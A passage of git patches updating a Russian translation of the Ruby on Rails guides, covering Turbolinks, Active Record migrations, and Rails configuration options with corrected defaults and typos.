Engine для начинающих path: engines diff --git a/source/working_with_javascript_in_rails.md b/source/working_with_javascript_in_rails.md index 9f5eaeab..ee363f49 100644 --- a/source/working_with_javascript_in_rails.md +++ b/source/working_with_javascript_in_rails.md @@ -285,7 +285,7 @@ Rails 4 поставляется с [гемом Turbolinks](https://github.com/r ### Как работает Turbolinks -Turbolinks добавляет обработчик щелчков на всех `` на странице. Если ваш браузер поддерживает [PushState](https://developer.mozilla.org/en-US/docs/DOM/Manipulating_the_browser_history#The_pushState(\).C2.A0method), +Turbolinks добавляет обработчик щелчков на всех `` на странице. Если ваш браузер поддерживает [PushState](https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/Manipulating_the_browser_history#The_pushState()_method), Turbolinks сделает запрос Ajax для страницы, распарсит отклик и заменит полностью `` страницы на `` отклика. Затем он использует PushState для изменения URL на правильный, сохраняя семантику для обновления и предоставляя красивые URL. Единственное, что необходимо сделать для включения Turbolinks - это добавить его в свой Gemfile, и поместить `//= require turbolinks` в свой манифест CoffeeScript, обычно это `app/assets/javascripts/application.js`. From 887fb0a6483691bfbc265c4e2f4d2fb4d9e078da Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Sun, 23 Aug 2015 16:59:55 +0300 Subject: [PATCH 090/932] update migrations guide --- source/active_record_migrations.md | 42 ++++++++++++++++++------------ source/index.yml | 4 +-- 2 files changed, 27 insertions(+), 19 deletions(-) diff --git a/source/active_record_migrations.md b/source/active_record_migrations.md index 75ee93a8..530d9e0f 100644 --- a/source/active_record_migrations.md +++ b/source/active_record_migrations.md @@ -26,7 +26,7 @@ class CreateProducts < ActiveRecord::Migration t.string :name t.text :description - t.timestamps + t.timestamps null: false end end end @@ -193,7 +193,7 @@ $ bin/rails generate migration AddUserRefToProducts user:references ```ruby class AddUserRefToProducts < ActiveRecord::Migration def change - add_reference :products, :user, index: true + add_reference :products, :user, index: true, foreign_key: true end end ``` @@ -236,7 +236,7 @@ class CreateProducts < ActiveRecord::Migration t.string :name t.text :description - t.timestamps + t.timestamps null: false end end end @@ -358,18 +358,18 @@ end change_column :products, :part_number, :text ``` -Он меняет тип столбца `part_number` в таблице `products` на `:text`. +Он меняет тип столбца `part_number` в таблице `products` на `:text`. Отметьте, что команда `change_column` — необратима. -Кроме `change_column`, методы `change_column_null` и `change_column_default` используются чтобы изменить возможность null или значение столбца по умолчанию. +Кроме `change_column`, методы `change_column_null` и `change_column_default` используются чтобы изменить ограничение не-null или значение столбца по умолчанию. ```ruby change_column_null :products, :name, false -change_column_default :products, :approved, false +change_column_default :products, :approved, from: true, to: false ``` -Это настроит поле `:name` в products быть `NOT NULL` столбцом и установит значение по умолчанию для поля `:approved` как false. +Это настроит поле `:name` в products быть `NOT NULL` столбцом и изменит значение по умолчанию для поля `:approved` с true на false. -TIP: В отличие от `change_column` (и `change_column_default`), `change_column_null` — обратимый. +Note: Также можно написать предыдущую миграцию `change_column_default` как `change_column_default :products, :approved, false`, но, в отличие от предыдущего примера, это сделало бы вашу миграцию необратимой. ### (Column Modifiers) Модификаторы столбца @@ -382,6 +382,8 @@ TIP: В отличие от `change_column` (и `change_column_default`), `chang * `null` Позволяет или запрещает значения `NULL` в столбце. * `default` Позволяет установить значение по умолчанию для столбца. Отметьте, что если вы используете динамическое значение (такое как дату), значение по умолчанию будет вычислено лишь один раз (т.е. на дату, когда миграция будет применена). * `index` Добавляет индекс для столбца. +* `required` Добавляет `required: true` для связей `belongs_to` и `null: false` к столбцу в миграции. + Некоторые адаптеры могут поддерживать дополнительные опции; за подробностями обратитесь к документации API конкретных адаптеров. @@ -395,10 +397,9 @@ add_foreign_key :articles, :authors Это добавит новый внешний ключ к столбцу `author_id` таблицы `articles`. Ключ ссылается на стобец `id` таблицы `authors`. Если имена стобцов не могут быть произведены из имен таблиц, можно использовать опции `:column` и `:primary_key`. -Rails сгененрирует имя для каждого внешнего ключа, начинающееся с `fk_rails_` плюс 10 случайных символов. Также есть опция `:name`, если хотите указать другое имя. +Rails сгененрирует имя для каждого внешнего ключа, начинающееся с `fk_rails_` плюс 10 символов, которые детерминированно генерируются на основе `from_table` и `column`. Также есть опция `:name`, если хотите указать другое имя. -NOTE: Active Record поддерживает внешние ключи только для отдельных столбцов. Чтобы использовать составные внешние ключи, требуются `execute` и -`structure.sql`. +NOTE: Active Record поддерживает внешние ключи только для отдельных столбцов. Чтобы использовать составные внешние ключи, требуются `execute` и `structure.sql`. Смотрите [Экспорт схемы](#schema-dumping-and-you) Убрать внешний ключ также просто: @@ -418,7 +419,7 @@ remove_foreign_key :accounts, name: :special_fk_name Если хелперов, предоставленных Active Record, недостаточно, можно использовать метод `execute` для запуска произвольного SQL: ```ruby -Product.connection.execute('UPDATE `products` SET `price`=`free` WHERE 1') +Product.connection.execute("UPDATE products SET price = 'free' WHERE 1=1") ``` Больше подробностей и примеров отдельных методов содержится в документации по API. В частности, документация для [`ActiveRecord::ConnectionAdapters::SchemaStatements`](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html) (который обеспечивает методы, доступные в методах `up`, `down` и `change`), [`ActiveRecord::ConnectionAdapters::TableDefinition`](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html) (который обеспечивает методы, доступные у объекта, переданного методом `create_table`) и [`ActiveRecord::ConnectionAdapters::Table`](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html) (который обеспечивает методы, доступные у объекта, переданного методом `change_table`). @@ -444,11 +445,17 @@ Product.connection.execute('UPDATE `products` SET `price`=`free` WHERE 1') `change_table` так же является обратимым, пока блок не вызывает `change`, `change_default` или `remove`. +`remove_column` обратима, если предоставить тип столбца третим аргументом. Также предоставьте опции оригинально столбца, иначе Rails не сможет в точности пересоздать этот столбец при откате: + +```ruby +remove_column :posts, :slug, :string, null: false, default: '', index: true +``` + Если вы нуждаетесь в использовании иных методов, следует использовать `reversible` или писать методы `up` и `down` вместо метода `change`. ### (using-reversible) Использование `reversible` -Комплексная миграция может включать процессы, которые Active Record не знает как обратить. Вы можете использовать `reversible`, чтобы указать что делать когда миграция требует отката. Например: +Комплексная миграция может включать процессы, которые Active Record не знает как обратить. Вы можете использовать `reversible`, чтобы указать что делать когда запускается миграция и когда она требует отката. Например: ```ruby class ExampleMigration < ActiveRecord::Migration @@ -572,6 +579,8 @@ end Подобная миграция так же может быть написана без использования `revert`, но это бы привело к ещё нескольким шагам: изменение порядка(следования) `create table` и `reversible`, замена `create_table` на `drop_table` и в конечном итоге изменение `up` `down` наоборот. Обо всём этом уже позаботился `revert`. +NOTE: Если хотите добавить ограничения `CHECK`, как в вышеуказанных примерах, нужно использовать `structure.sql` в качестве метода экспорта. Смотрите [Экспорт схемы](#schema-dumping-and-you). + Запуск миграций --------------- @@ -621,8 +630,7 @@ $ bin/rake db:migrate:redo STEP=3 Задача `db:reset` удалит базу данных и установит ее заново. Функционально это эквивалентно `rake db:drop db:setup`. -NOTE. Это не то же самое, что запуск всех миграций. Оно использует только текущее содержимое файла `schema.rb`. Если миграция не может быть откачена, -'rake db:reset' может не помочь вам. Подробнее об экспорте схемы смотрите раздел [Экспорт схемы](/rails-database-migrations#schema-dumping-and-you). +NOTE. Это не то же самое, что запуск всех миграций. Оно использует только текущее содержимое файла `schema.rb`. Если миграция не может быть откачена, 'rake db:reset' может не помочь вам. Подробнее об экспорте схемы смотрите раздел [Экспорт схемы](#schema-dumping-and-you). ### Запуск определенных миграций @@ -670,7 +678,7 @@ class CreateProducts < ActiveRecord::Migration create_table :products do |t| t.string :name t.text :description - t.timestamps + t.timestamps null: false end end @@ -749,7 +757,7 @@ end Во многих случаях этого достаточно. Этот файл создается с помощью проверки базы данных и описывает свою структуру, используя `create_table`, `add_index` и так далее. Так как он не зависит от типа базы данных, он может быть загружен в любую базу данных, поддерживаемую Active Record. Это очень полезно, если Вы распространяете приложение, которое может быть запущено на разных базах данных. -Однако, тут есть компромисс: `db/schema.rb` не может описать специфичные элементы базы данных, такие как триггеры или хранимые процедуры. В то время как в миграции вы можете выполнить произвольное выражение SQL, выгрузчик схемы не может воспроизвести эти выражения из базы данных. Если Вы используете подобные функции, нужно установить формат схемы :sql. +Однако, тут есть компромисс: `db/schema.rb` не может описать специфичные элементы базы данных, такие как триггеры, хранимые процедуры или ограничения `CHECK`. В то время как в миграции вы можете выполнить произвольное выражение SQL, выгрузчик схемы не может воспроизвести эти выражения из базы данных. Если Вы используете подобные функции, нужно установить формат схемы :sql. Вместо использования выгрузчика схемы Active Records, структура базы данных будет выгружена с помощью инструмента, предназначенного для этой базы данных (с помощью задачи `db:structure:dump` Rake) в `db/structure.sql`. Например, для PostgreSQL используется утилита `pg_dump`. Для MySQL этот файл будет содержать результат `SHOW CREATE TABLE` для разных таблиц. diff --git a/source/index.yml b/source/index.yml index c25de60b..c798b289 100644 --- a/source/index.yml +++ b/source/index.yml @@ -27,8 +27,8 @@ pages: - title: Миграции базы данных Rails path: rails-database-migrations file: active_record_migrations.md - revision: 2a1afe6b372b9c8c59b875ebaa0e4f29e407afc2 - date: 24/10/2014 + revision: f5d6aaa31bc86e01209af767d6a3c7b5617e6911 + date: 30/06/2015 - title: Валидации Active Record path: active-record-validations From 3b7d39f9206d757fcde05b269fb676f129a63067 Mon Sep 17 00:00:00 2001 From: Markov Alexey Date: Sat, 29 Aug 2015 01:03:09 +0400 Subject: [PATCH 091/932] Update configuring --- source/configuring.md | 211 ++++++++++++++++++++++++++++-------------- source/engines.md | 2 +- source/index.yml | 4 +- 3 files changed, 142 insertions(+), 75 deletions(-) diff --git a/source/configuring.md b/source/configuring.md index c344b05f..634ada15 100644 --- a/source/configuring.md +++ b/source/configuring.md @@ -26,7 +26,7 @@ Rails предлагает четыре стандартных места для Конфигурирование компонентов Rails ---------------------------------- -В целом, работа по конфигурированию Rails означет как настройку компонентов Rails, так и настройку самого Rails. Конфигурационный файл `config/application.rb` и конфигурационные файлы конкретных сред (такие как `config/environments/production.rb`) позволяют определить различные настройки, которые можно придать всем компонентам. +В целом, работа по конфигурированию Rails означает как настройку компонентов Rails, так и настройку самого Rails. Конфигурационный файл `config/application.rb` и конфигурационные файлы конкретных сред (такие как `config/environments/production.rb`) позволяют определить различные настройки, которые можно придать всем компонентам. Например, файл `config/application.rb` включает эту настройку: @@ -34,7 +34,7 @@ Rails предлагает четыре стандартных места для config.autoload_paths += %W(#{config.root}/extras) ``` -Это настройка для самого Rails. Если хотите передать настройки для отдельных компонентов Rails, это так же осуществляется через объект `config` в `config/application.rb`: +Это настройка для самого Rails. Если хотите передать настройки для отдельных компонентов Rails, это также осуществляется через объект `config` в `config/application.rb`: ```ruby config.active_record.schema_format = :ruby @@ -46,7 +46,7 @@ Rails будет использовать эту конкретную настр Эти конфигурационные методы вызываются на объекте `Rails::Railtie`, таком как подкласс `Rails::Engine` или `Rails::Application`. -* `config.after_initialize` принимает блок, который будет запущен _после того_, как Rails закончит инициализацию приложения. Это включает инициализацию самого фреймворка, engine-ов и всех инициализаторов приложения из _config/initializers_. Отметьте, что этот блок _будет_ выполнен для рейк-тасков. Полезно для конфигурирования настроек, установленных другими инициализаторами: +* `config.after_initialize` принимает блок, который будет запущен _после того_, как Rails закончит инициализацию приложения. Это включает инициализацию самого фреймворка, engine-ов и всех инициализаторов приложения из `config/initializers`. Отметьте, что этот блок _будет_ выполнен для рейк-тасков. Полезно для конфигурирования настроек, установленных другими инициализаторами: ```ruby config.after_initialize do @@ -64,9 +64,9 @@ Rails будет использовать эту конкретную настр * `config.action_view.cache_template_loading` контролирует, будут ли шаблоны перезагружены при каждом запросе. Умолчания те же, что и для `config.cache_classes`. -* `config.beginning_of_week` устанавливает начало недели по умолчанию для приложения. Принимает символ валидного дня недели (т.е. `:monday`). +* `config.beginning_of_week` устанавливает начало недели по умолчанию для приложения. Принимает символ валидного дня недели (например, `:monday`). -* `config.cache_store` конфигурирует, какое хранилище кэша использовать для кэширования Rails. Опции включают один из символов `:memory_store`, `:file_store`, `:mem_cache_store`, `:null_store` или объекта, реализующего API кэша. По умолчанию `:file_store` если существует директория `tmp/cache`, а в ином случае `:memory_store`. +* `config.cache_store` конфигурирует, какое хранилище кэша использовать для кэширования Rails. Опции включают один из символов `:memory_store`, `:file_store`, `:mem_cache_store`, `:null_store` или объект, реализующий API кэша. По умолчанию `:file_store` если существует директория `tmp/cache`, а в ином случае `:memory_store`. * `config.colorize_logging` определяет, использовать ли коды цвета ANSI при логировании информации. По умолчанию true. @@ -83,8 +83,6 @@ Rails будет использовать эту конкретную настр end ``` -* `config.dependency_loading` это флажок, позволяющий отключить автозагрузку констант, если установить его false. Он работает только если `config.cache_classes` установлен в true, что является по умолчанию в режиме production. - * `config.eager_load` когда true, лениво загружает все зарегистрированные `config.eager_load_namespaces`. Они включают ваше приложение, engine-ы, фреймворки Rails и любые другие зарегистрированные пространства имен. * `config.eager_load_namespaces` регистрирует пространства имен, которые лениво загружаются, когда `config.eager_load` равно true. Все пространства имен в этом списке должны отвечать на метод `eager_load!`. @@ -101,21 +99,21 @@ Rails будет использовать эту конкретную настр * `config.force_ssl` принуждает все запросы быть под протоколом HTTPS, используя промежуточную программу `ActionDispatch::SSL`. -* `config.log_formatter` определяет форматер для логера Rails. Эта опция по умолчанию равна экземпляру `ActiveSupport::Logger::SimpleFormatter` для всех режимов, кроме production, где по умолчанию `Logger::Formatter`. +* `config.log_formatter` определяет форматер для логгера Rails. Эта опция по умолчанию равна экземпляру `ActiveSupport::Logger::SimpleFormatter` для всех режимов, кроме production, где по умолчанию `Logger::Formatter`. -* `config.log_level` определяет многословие логгера Rails.Эта опция по умолчанию `:debug` для всех сред. Доступные уровни лога: :debug, :info, :warn, :error, :fatal, and :unknown. +* `config.log_level` определяет многословность логгера Rails. Эта опция по умолчанию `:debug` для всех сред. Доступные уровни лога: `:debug`, `:info`, `:warn`, `:error`, `:fatal`, and `:unknown`. -* `config.log_tags` принимает список методов, на которые отвечает объект `request`. С помощью этого становится просто тегировать строки лога отладочной информацией, такой как поддомен и id запроса - очень полезно для отладки многопользовательского приложения. +* `config.log_tags` принимает список: методов, на которые отвечает объект `request`, объект `Proc`, который принимает `request` объект, или что-то, отвечающее на `to_s`. С помощью этого становится просто тегировать строки лога отладочной информацией, такой как поддомен и id запроса - очень полезно для отладки многопользовательского приложения. -* `config.logger` принимает логгер, соответствующий интерфейсу Log4r или класса Ruby по умолчанию `Logger`. По умолчанию экземпляр `ActiveSupport::Logger`. +* `config.logger` принимает логгер, соответствующий интерфейсу Log4r, или дефолтный Ruby класс `Logger`. По умолчанию экземпляр `ActiveSupport::Logger`. * `config.middleware` позволяет настроить промежуточные программы приложения. Это подробнее раскрывается в разделе [Конфигурирование промежуточных программ](#configuring-middleware) ниже. -* `config.reload_classes_only_on_change` включает или отключает перезагрузку классов только при изменении отслеживаемых файлов. По умолчанию отслеживает все по путям автозагрузки и установлена true. Если `config.cache_classes` установлена true, Эта опция игнорируется. +* `config.reload_classes_only_on_change` включает или отключает перезагрузку классов только при изменении отслеживаемых файлов. По умолчанию отслеживает все по путям автозагрузки и установлена true. Если `config.cache_classes` установлена true, эта опция игнорируется. * `secrets.secret_key_base` используется для определения ключа, позволяющего сессиям приложения быть верифицированными по известному ключу безопасности, чтобы избежать подделки. Приложения получают случайные ключи `secrets.secret_key_base` в `config/secrets.yml`. -* `config.serve_static_assets` конфигурирует Rails на обслуживание статичных ресурсов. Эта опция по умолчанию true, но в среде production устанавливается false, так как серверные программы (т.е. Nginx или Apache), используемое для запуска приложения, должно обслуживать статичные ресурс вместо него. Если запускаете или тестируете приложение в среде production с помощью WEBrick (не рекомендуется использовать WEBrick в production), установите этой опции true. В противном случае нельзя воспользоваться кэшированием страниц и запросами файлов, существующих в директории public. +* `config.serve_static_assets` конфигурирует Rails на обслуживание статичных ресурсов. Эта опция по умолчанию true, но в среде production устанавливается false, так как серверные программы (например, NGINX или Apache), используемые для запуска приложения, должны обслуживать статичные ресурсы вместо Rails. Если запускаете или тестируете приложение в среде production с помощью WEBrick (не рекомендуется использовать WEBrick в production), установите эту опцию в true. В противном случае нельзя воспользоваться кэшированием страниц и запросами файлов, существующих в директории public. * `config.session_store` обычно настраивается в `config/initializers/session_store.rb` и определяет, какой класс использовать для хранения сессии. Возможные значения `:cookie_store`, которое по умолчанию, `:mem_cache_store` и `:disabled`. Последнее говорит Rails не связываться с сессиями. Произвольные хранилища сессии также могут быть определены: @@ -131,7 +129,7 @@ Rails будет использовать эту конкретную настр * `config.assets.enabled` это флажок, контролирующий, будет ли включен файлопровод (asset pipeline). По умолчанию он устанавливается true. -*`config.assets.raise_runtime_errors` Установка этому флажку `true` включит дополнительную проверку ошибок во время выполнения. Рекомендован в `config/environments/development.rb` для минимизации неожидаемого поведения при деплое в `production`. +*`config.assets.raise_runtime_errors` Установка этому флажку `true` включит дополнительную проверку ошибок во время выполнения. Рекомендован в `config/environments/development.rb` для минимизации неожиданного поведения при деплое в `production`. * `config.assets.compress` это флажок, включающий компрессию компилируемых ресурсов. Он явно указан true в `config/environments/production.rb`. @@ -154,11 +152,9 @@ Rails будет использовать эту конкретную настр * `config.assets.cache_store` определяет хранилище кэша, которое будет использовать Sprockets. По умолчанию это файловое хранилище Rails. -* `config.assets.version` опциональная строка, используемая при генерации хеша MD5. Может быть изменена для принудительной рекомпиляции всех файлов. - * `config.assets.compile` - булево значение, используемое для включения компиляции Sprockets на лету в production. -* `config.assets.logger` accepts a logger conforming to the interface of Log4r or the default Ruby `Logger` class. Defaults to the same configured at `config.logger`. Setting `config.assets.logger` to false will turn off served assets logging. +* `config.assets.logger` принимает логгер, соответствующий интерфейсу Log4r, или дефолтный Ruby класс `Logger`. По умолчанию такой же, как указан в `config.logger`. Установка `config.assets.logger` в false отключает логирование сжатых ресурсов. ### Конфигурирование генераторов @@ -179,23 +175,25 @@ end * `helper` определяет, генерировать ли хелперы. По умолчанию `true`. -* `integration_tool` определяет используемый интеграционный инструмент. По умолчанию `nil`. +* `integration_tool` определяет интеграционный инструмент, используемый для генерации интеграционных тестов. По умолчанию `test_unit`. * `javascripts` включает в генераторах хук для файлов Javascript. Используется в Rails при запуске генератора `scaffold`. По умолчанию `true`. -* `javascript_engine` конфигурирует используемый движок (например, coffee) при создании ресурсов. По умолчанию `nil`. +* `javascript_engine` конфигурирует используемый движок (например, coffee) при создании ресурсов. По умолчанию `js`. * `orm` определяет используемую orm. По умолчанию `false` и используется Active Record. * `resource_controller` определяет используемый генератор для создания контроллера при использовании `rails generate resource`. По умолчанию `:controller`. +* `resource_route` определяет нужно ли генерировать определение ресурсного маршрута или нет. По умолчанию `true`. + * `scaffold_controller`, отличающийся от `resource_controller`, определяет используемый генератор для создания _скаффолдингового_ контроллера при использовании `rails generate scaffold`. По умолчанию `:scaffold_controller`. * `stylesheets` включает в генераторах хук для таблиц стилей. Используется в Rails при запуске генератора `scaffold` , но этот хук также может использоваться в других генераторах. По умолчанию `true`. * `stylesheet_engine` конфигурирует используемый при создании ресурсов движок CSS (например, sass). По умолчанию `:css`. -* `test_framework` определяет используемый тестовый фреймворк. По умолчанию `false`, и используется Test::Unit. +* `test_framework` определяет используемый тестовый фреймворк. По умолчанию `false`, и используется Minitest. * `template_engine` определяет используемый движок шаблонов, такой как ERB или Haml. По умолчанию `:erb`. @@ -205,17 +203,17 @@ end * `ActionDispatch::SSL` принуждает каждый запрос быть под протоколом HTTPS. Будет доступно, если `config.force_ssl` установлена `true`. Передаваемые сюда опции могут быть настроены с помощью `config.ssl_options`. -* `ActionDispatch::Static` используется для обслуживания статичных ресурсов (ассетов). Отключено если `config.serve_static_files` равна `true`. +* `ActionDispatch::Static` используется для обслуживания статичных ресурсов (ассетов). Отключено если `config.serve_static_files` равна `false`. Установите `config.static_index` если вам нужно обслуживать индекс файл статичной директории, который называется не `index`. Например, для обслуживания `main.html` вместо `index.html` для запросов, установите `config.static_index` в `"main"`. -* `Rack::Lock` оборачивает приложение в mutex, таким образом оно может быть вызвано только в одном треде одновременно. Включено только если `config.cache_classes_` установлена как `false`. +* `Rack::Lock` оборачивает приложение в mutex, таким образом оно может быть вызвано только в одном треде одновременно. Включено только если `config.cache_classes` установлена как `false`. * `ActiveSupport::Cache::Strategy::LocalCache` служит простым кэшем в памяти. Этот кэш не является тредобезопасным и предназначен только как временное хранилище кэша для отдельного треда. -* `Rack::Runtime` устанавливает заголовок `X-Runtime`, содержащия время (в секундах), затраченное на выполнение запроса. +* `Rack::Runtime` устанавливает заголовок `X-Runtime`, содержащий время (в секундах), затраченное на выполнение запроса. * `Rails::Rack::Logger` пишет в лог, что начался запрос. После выполнения запроса сбрасывает логи. -* `ActionDispatch::ShowExceptions` ловит исключения, возвращаемые приложением, и рендерит прекрасные страницы исключения, если запрос локальный или если `config.consider_all_requests_local` установлена `true`. Если `config.action_dispatch.show_exceptions` установлена `false`, исключения будут вызваны не смотря ни на что. +* `ActionDispatch::ShowExceptions` ловит исключения, возвращаемые приложением, и рендерит прекрасные страницы исключения, если запрос локальный или если `config.consider_all_requests_local` установлена `true`. Если `config.action_dispatch.show_exceptions` установлена `false`, исключения будут вызваны несмотря ни на что. * `ActionDispatch::RequestId` создает уникальный заголовок X-Request-Id, доступный для отклика, и включает метод `ActionDispatch::Request#uuid`. @@ -225,7 +223,7 @@ end * `ActionDispatch::Callbacks` запускает подготовленные колбэки до обслуживания запроса. -* `ActiveRecord::ConnectionAdapters::ConnectionManagement` очищает активные соединения до каждого запроса, за исключением случая, когда ключ `rack.test` в окрежении запроса установлен `true`. +* `ActiveRecord::ConnectionAdapters::ConnectionManagement` очищает активные соединения до каждого запроса, за исключением случая, когда ключ `rack.test` в окружении запроса установлен `true`. * `ActiveRecord::QueryCache` кэширует все запросы SELECT, созданные в запросе. Если имел место INSERT или UPDATE, то кэш очищается. @@ -279,7 +277,7 @@ config.middleware.delete "Rack::MethodOverride" * `config.i18n.default_locale` устанавливает локаль по умолчанию для приложения, используемого для интернационализации. По умолчанию `:en`. -* `config.i18n.enforce_available_locales` обеспечивает, что все локали, переданные из i18n, должны быть объявлены в списке `available_locales`, вызывая исключение `I18n::InvalidLocale` при установке недоступной локали. По умолчанию `true`. Рекомендуется на отключать эту опцию, если этого не сильно требуется, так как она работает в качестве меры безопасности от установки неверной локали на основе пользовательских данных. +* `config.i18n.enforce_available_locales` обеспечивает, что все локали, переданные из i18n, должны быть объявлены в списке `available_locales`, вызывая исключение `I18n::InvalidLocale` при установке недоступной локали. По умолчанию `true`. Рекомендуется не отключать эту опцию, если этого не сильно требуется, так как она работает в качестве меры безопасности от установки неверной локали на основе пользовательских данных. * `config.i18n.load_path` устанавливает путь, используемый Rails для поиска файлов локали. По умолчанию `config/locales/*.{yml,rb}`. @@ -287,11 +285,11 @@ config.middleware.delete "Rack::MethodOverride" `config.active_record` включает ряд конфигурационных опций: -* `config.active_record.logger` принимает логгер, соответствующий интерфейсу Log4r или дефолтного класса Ruby 1.8.x Logger, который затем передается на любые новые сделанные соединения с базой данных. Можете получить этот логгер, вызвав `logger` или на любом классе модели ActiveRecord, или на экземпляре модели ActiveRecord. Установите его в nil, чтобы отключить логирование. +* `config.active_record.logger` принимает логгер, соответствующий интерфейсу Log4r или дефолтного класса Ruby Logger, который затем передается на любые новые сделанные соединения с базой данных. Можете получить этот логгер, вызвав `logger` или на любом классе модели ActiveRecord, или на экземпляре модели ActiveRecord. Установите его в nil, чтобы отключить логирование. * `config.active_record.primary_key_prefix_type` позволяет настроить именование столбцов первичного ключа. По умолчанию Rails полагает, что столбцы первичного ключа именуются `id` (и эта конфигурационная опция не нуждается в установке). Есть два возможных варианта: -** `:table_name` сделает первичный ключ для класса Customer как `customerid` -** `:table_name_with_underscore` сделает первичный ключ для класса Customer как `customer_id` + * `:table_name` сделает первичный ключ для класса Customer как `customerid` + * `:table_name_with_underscore` сделает первичный ключ для класса Customer как `customer_id` * `config.active_record.table_name_prefix` позволяет установить глобальную строку, добавляемую в начало имен таблиц. Если установить ее равным `northwest_`, то класс Customer будет искать таблицу `northwest_customers`. По умолчанию это пустая строка. @@ -309,7 +307,7 @@ config.middleware.delete "Rack::MethodOverride" * `config.active_record.lock_optimistically` регулирует, должен ли ActiveRecord использовать оптимистичную блокировку. По умолчанию `true`. -* `config.active_record.cache_timestamp_format` управляет форматом значения временной метки в ключе кэширования. По умолчанию :number. +* `config.active_record.cache_timestamp_format` управляет форматом значения временной метки в ключе кэширования. По умолчанию `:nsec`. * `config.active_record.record_timestamps` это булево значение, управляющее, должна ли происходить временная метка операций модели `create` и `update`. Значение по умолчанию `true`. @@ -319,6 +317,14 @@ config.middleware.delete "Rack::MethodOverride" * `config.active_record.dump_schema_after_migration` это флажок, управляющий, должен ли происходить дамп схемы (`db/schema.rb` или `db/structure.sql`) при запуске миграций. Он установлен false в `config/environments/production.rb`, генерируемом Rails. Значение по умолчанию true, если эта конфигурация не установлена. +* `config.active_record.dump_schemas` управляет, какие схемы баз данных будут дампиться при вызове db:structure:dump. + Опции: `:schema_search_path` (по умолчанию), при которой дампится любая схема, перечисленная в schema_search_path, + `:all`, при которой дампятся все схемы, независимо от schema_search_path, или строки со схемами, разделенными через запятую. + +* `config.active_record.belongs_to_required_by_default` это булево значение и управляет, будет ли ассоциация `belongs_to` требовать значение по умолчанию. + +* `config.active_record.warn_on_records_fetched_greater_than` позволяет установить порог для предупреждения для итогового размера запроса. Если количество возвращаемых записей в запросе будет превышать пороговое значение, запишется предупреждение. Это может быть полезным для выявления запросов, которые могут быть причиной увеличения требуемой памяти. + Адаптер MySQL добавляет дополнительную конфигурационную опцию: * `ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans` регулирует, должен ли ActiveRecord рассматривать все столбцы `tinyint(1)` в базе данных MySQL как boolean. По умолчанию `true`. @@ -341,19 +347,19 @@ config.middleware.delete "Rack::MethodOverride" * `config.action_controller.include_all_helpers` устанавливает, должны ли быть все хелперы вьюх доступны везде или только в соответствующем контроллере. Если установлен `false`, методы `UsersHelper` будут доступны только во вьюхах, рендерщихся как часть `UsersController`. Если `true`, методы `UsersHelper` будут доступны везде. По умолчанию `true`. -* `config.action_controller.logger` принимает логгер, соответствующий интерфейсу Log4r или дефолтного класса Ruby Logger, который затем используется для логирования информации от Action Controller. Установите его в nil, чтобы отключить логирование. +* `config.action_controller.logger` принимает логгер, соответствующий интерфейсу Log4r или дефолтного класса Ruby Logger, который затем используется для логирования информации от Action Controller. Установите его в `nil`, чтобы отключить логирование. * `config.action_controller.request_forgery_protection_token` устанавливает имя параметра токена для RequestForgery. Вызов `protect_from_forgery` по умолчанию устанавливает его в `:authenticity_token`. * `config.action_controller.allow_forgery_protection` включает или отключает защиту от CSRF. По умолчанию `false` в режиме тестирования и `true` в остальных режимах. -* `relative_url_root` может использоваться, что бы сообщить Rails, что вы (деплоите в субдиректорию)[#deploy-to-a-subdirectory-relative-url-root]. По умолчанию `ENV['RAILS_RELATIVE_URL_ROOT']`. +* `config.action_controller.relative_url_root` может использоваться, что бы сообщить Rails, что вы [деплоите в субдиректорию](#deploy-to-a-subdirectory-relative-url-root). По умолчанию `ENV['RAILS_RELATIVE_URL_ROOT']`. * `config.action_controller.permit_all_parameters` устанавливает все параметры для массового назначения как разрешенные по умолчанию. Значение по умолчанию `false`. * `config.action_controller.action_on_unpermitted_parameters` включает логирование или вызов исключения, если обнаружены параметры, которые не разрешены явно. Чтобы включить, установите `:log` или `:raise`. По умолчанию `:log` в средах development и test, и `false` во всех остальных средах. -* `config.action_controller.always_permitted_parameters` Устанавливает белый список параметров, разрешенных по умолчанию. Значениями по умолчанию являются `['controller', 'action']`. +* `config.action_controller.always_permitted_parameters` устанавливает белый список параметров, разрешенных по умолчанию. Значениями по умолчанию являются `['controller', 'action']`. ### Конфигурирование Action Dispatch @@ -419,16 +425,18 @@ config.middleware.delete "Rack::MethodOverride" * `config.action_view.field_error_proc` предоставляет генератор HTML для отображения ошибок, приходящих от Active Record. По умолчанию: ```ruby - Proc.new { |html_tag, instance| %Q(
#{html_tag}
).html_safe } + Proc.new do |html_tag, instance| + %Q(
#{html_tag}
).html_safe + end ``` * `config.action_view.default_form_builder` говорит Rails, какой form builder использовать по умолчанию. По умолчанию это `ActionView::Helpers::FormBuilder`. Если хотите, чтобы после инициализации загружался ваш класс form builder (и, таким образом, перезагружался с каждым запросом в development), можно передать его как строку. -* `config.action_view.logger` принимает логгер, соответствующий интерфейсу Log4r или классу Ruby по умолчанию Logger, который затем используется для логирования информации от Action Mailer. Установите `nil` для отключения логирования. +* `config.action_view.logger` принимает логгер, соответствующий интерфейсу Log4r или классу Ruby по умолчанию Logger, который затем используется для логирования информации от Action View. Установите `nil` для отключения логирования. * `config.action_view.erb_trim_mode` задает режим обрезки, который будет использоваться ERB. По умолчанию `'-'`, которая включает обрезку висячих пробелов и новых строк при использовании `<%= -%>` или `<%= =%>`. Подробнее смотрите в [документации по Erubis](http://www.kuwata-lab.com/erubis/users-guide.06.html#topics-trimspaces). -* `config.action_view.embed_authenticity_token_in_remote_forms` позволяет установить поведение по умолчанию для `authenticity_token` в формах с `:remote => true`. По умолчанию установлен false, что означает, что remote формы не включают `authenticity_token`, что полезно при фрагментарном кэшировании формы. Remote формы получают аутентификацию из тега `meta`, поэтому встраивание бесполезно, если, конечно, вы не поддерживаете браузеры без JavaScript. В противном случае можно либо передать `:authenticity_token => true` как опцию для формы, либо установить эту настройку в `true` +* `config.action_view.embed_authenticity_token_in_remote_forms` позволяет установить поведение по умолчанию для `authenticity_token` в формах с `remote: true`. По умолчанию установлен false, что означает, что remote формы не включают `authenticity_token`, что полезно при фрагментарном кэшировании формы. Remote формы получают аутентификацию из тега `meta`, поэтому 